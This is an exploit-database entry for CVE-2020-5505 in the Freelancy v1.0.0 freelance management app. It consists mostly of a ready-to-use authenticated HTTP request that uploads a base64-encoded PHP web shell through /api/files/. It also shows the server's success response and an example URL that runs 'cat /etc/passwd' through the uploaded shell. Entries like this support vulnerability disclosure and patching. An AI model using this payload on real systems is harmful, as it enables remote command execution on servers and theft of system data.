# Exploit Title: Freelancy - Freelance Management App v1.0.0 - RCE (Authenticated) Arbitrary File Download
# Date: 03-01-2019
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://vaaip.com/
# Software Link: https://codecanyon.net/item/freelancy-freelance-project-management-application/25288636
# Software: Freelancy - Freelance Management App
# Product Version: v1.0.0
# Vulernability Type: Code Injection
# Vulenrability: Remote Code Execution ( RCE )
# CVE : CVE-2020-5505
# Description :
# Freelancy v1.0.0 allows remote command execution via
# the "file":"data:application/x-php;base64 substring (in conjunction with
# "type":"application/x-php"} to the /api/files/ URI.
# RCE Example :
https://SERVER/storage/file/FileNAME.php?cmd=cat%20/etc/passwd
# HTTP Request :
POST /api/files/ HTTP/1.1
Host: SERVER
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://SERVER/files
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=utf-8
Authorization: Bearer 8f7f4b6e-68db-4e2b-b33d-401460fdd00c
X-XSRF-TOKEN: eyJpdiI6InJQbnQ5TGVTdEp2bTh4cUdCMVY3Y3c9PSIsInZhbHVlIjoidll6Q2xNTFh3cmhTU2dpVWg2aHVRMTEzWktpQ3NFZGVDWFQ1UVV5WGNpbWhXRFFRa3ZyK2k2SFl1VU9vMFNZYSIsIm1hYyI6IjFhMDM3MGRkM2U4ODQ3OTliOGNmZGU5NTJiMDBhNGIxNmFlNTM4MzA0NjRmMDBmM2RiOWFkMTEyYjZmN2NlNTYifQ==
Content-Length: 274
Connection: close
Cookie: XSRF-TOKEN=eyJpdiI6InJQbnQ5TGVTdEp2bTh4cUdCMVY3Y3c9PSIsInZhbHVlIjoidll6Q2xNTFh3cmhTU2dpVWg2aHVRMTEzWktpQ3NFZGVDWFQ1UVV5WGNpbWhXRFFRa3ZyK2k2SFl1VU9vMFNZYSIsIm1hYyI6IjFhMDM3MGRkM2U4ODQ3OTliOGNmZGU5NTJiMDBhNGIxNmFlNTM4MzA0NjRmMDBmM2RiOWFkMTEyYjZmN2NlNTYifQ%3D%3D; freelancy_session=eyJpdiI6InZPQXk2b0dsaTN6S01QbExpTEJRd2c9PSIsInZhbHVlIjoiSENnQ2RIcVVQTFR1SW5WYTR5RUpmS01jV2RmN3F0ZXorYytNNnNPMGpza1U1akQyTWxDRUxpQjE5TXNpK0pCcCIsIm1hYyI6IjM4MjNiY2Y3NGE0ODM1YWJiYjBlOTA3ZDNkMDkxZjE5OTE5NmRhZjJmNzE3ZmIzZTBlNGIwZjMwZTNiZmEzZTUifQ%3D%3D
{"title":"Arbitrary File Upload","description":"Shell","file":"data:application/x-php;base64,PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpeyBlY2hvICI8cHJlPiI7ICRjbWQgPSAoJF9SRVFVRVNUWydjbWQnXSk7IHN5c3RlbSgkY21kKTsgZWNobyAiPC9wcmU+IjsgZGllOyB9Pz4=","type":"application/x-php"}
# HTTP Response :
HTTP/1.1 201 Created
Server: nginx/1.14.0 (Ubuntu)
Content-Type: application/json
Connection: close
Cache-Control: no-cache, private
Date: Fri, 03 Jan 2020 05:21:25 GMT
X-RateLimit-Limit: 60
X-RateLimit-Remaining: 58
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Length: 350
{"uuid":"FileNAME","title":"Arbitrary File Upload","description":"Shell","path":"public\/file\/FileNAME.php","url":"https:\/\/SERVER\/storage\/file\/FileNAME.php","user_id":1,"updated_at":"2020-01-03 05:21:25","created_at":"2020-01-03 05:21:25","id":16}